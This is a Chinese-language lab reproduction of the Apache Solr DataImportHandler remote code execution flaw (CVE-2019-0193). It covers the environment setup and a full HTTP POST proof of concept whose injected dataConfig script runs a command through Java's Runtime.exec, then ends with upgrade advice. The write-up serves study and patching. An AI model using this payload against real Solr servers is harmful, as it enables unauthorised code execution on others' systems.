Skylei
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
一、漏洞描述
2019年8月1日,Apache Solr官方发布了CVE-2019-0193漏洞预警,漏洞危害评级为严重。当solr开启了DataImportHandler功能,该模块中的DIH配置都可以通过外部请求dataconfig参数进行修改,DIH可包含脚本,因此,会存在远程代码执行漏洞。
二、漏洞环境
操作系统 | IP地址 | 用途 |
Windows 10 企业版 | 192.168.37.142 | 靶机 |
Windows 10 专业版 | 192.168.37.203 | 攻击机 |
三、漏洞环境搭建步骤
1、服务器需要安装Java环境并配置环境变量;
2、服务器需要安装curl环境:
(1)下载curl包:https://skanthak.homepage.t-online.de/download/curl-7.64.1.cab
(2)将下载的curl包解压至C:\Program Files\curl文件夹,如下图所示:
(3)配置环境变量:类似java环境变量 右键此电脑-->属性à高级系统设置-->环境变量-->系统变量创建CURL_HOME变量值为C:\Program Files\curl -->系统变量path中新建值为%CURL_HOME%\I386 -->保存退出。环境变量配置结果如下图所示:
创建CURL_HOME变量如下图所示:
系统变量path中新增结果如下图所示:
(4)打开doc窗口,输入curl –help:结果如下图所示:
3、漏洞环境配置:
(1)下载Apache solr:
https://www.apache.org/dyn/closer.lua/lucene/solr/7.7.2/solr-7.7.2.zip
(2)下载成功后解压至任意目录
(3)进入解压的目录使用cmd命令执行以下命令:bin/solr -e dih 结果如下图所示:
(4)如上图所示,看到successful字样表示漏洞环境搭建成功。
(5)使用攻击机访问靶机ip:8983成功,结果如下图所示:
四、漏洞复现过程
1、首先通过接口curl http://192.168.37.142/solr/admin/cores或使用浏览器访问:http://192.168.37.142:8983/solr/admin/cores来获取所有core信息,下面我们构造payload需要name信息。结果如下图所示:
2、在Burp中发送以下POC即可执行命令弹出计算器,下面的<your_core_name>需要替换为你获取到的core的name(共两处)。POC如下:
POST /solr/<your_core_name>/dataimport HTTP/1.1
Host: 127.0.0.1:8983
Content-Length: 763
User-Agent: Mozilla/5.0
Content-type: application/x-www-form-urlencoded
Connection: close
command=full-import&verbose=false&clean=false&commit=true&debug=true&core=<your_core_name>&name=dataimport&dataConfig=
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(row){
var process= java.lang.Runtime.getRuntime();
process.exec("calc");
return row;
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
验证过程如下图所示:
(1)在Burp中发送poc,结果如下图所示:
(2)漏洞执行效果如下图所示:
五、漏洞修复建议
将Apache Solr升级至8.2.0或之后的版本。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)